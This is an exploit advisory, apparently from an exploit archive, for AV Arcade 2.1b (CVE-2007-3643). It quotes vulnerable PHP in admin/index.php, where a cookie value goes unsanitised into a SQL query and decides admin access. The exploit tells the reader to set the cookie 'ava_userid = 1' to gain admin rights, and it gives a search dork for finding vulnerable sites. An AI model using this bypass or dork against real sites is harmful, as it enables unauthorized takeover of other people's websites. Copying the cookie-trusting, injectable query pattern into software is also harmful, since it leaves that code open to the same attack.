AV Arcade 2.1b (COOKIE[ava_userid]) Get Admin Rights

2007.07.11

Credit: Kw3rLn

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2007-3643

CWE: CWE-Other

Dork: \"Powered By AV Arcade\"

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

AV Arcade 2.1b (COOKIE[ava_userid]) Get Admin Rights

Web: AV Arcade 2.1b
Site : www.avscripts.net
Dork : "Powered By AV Arcade"

Author: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]
Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

Vurnerable code: admin/index.php:
   $sql = mysql_query("SELECT * FROM ava_users WHERE id=".$_COOKIE['ava_userid']."");
   while($row = mysql_fetch_array($sql)){
   if ($row['admin'] == 1) {
   define( 'ADMIN_ACCESS', 1 );
   [...]

Exploit:

Set in your cookies: ava_userid = 1; and that`s all :p

GREETZ: all memberz of RST and milw0rm
//kw3rln [ http://rstzone.net ]
[EOF]

See this note in RAW Version

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AV Arcade 2.1b (COOKIE[ava_userid]) Get Admin Rights

Dork: \"Powered By AV Arcade\"

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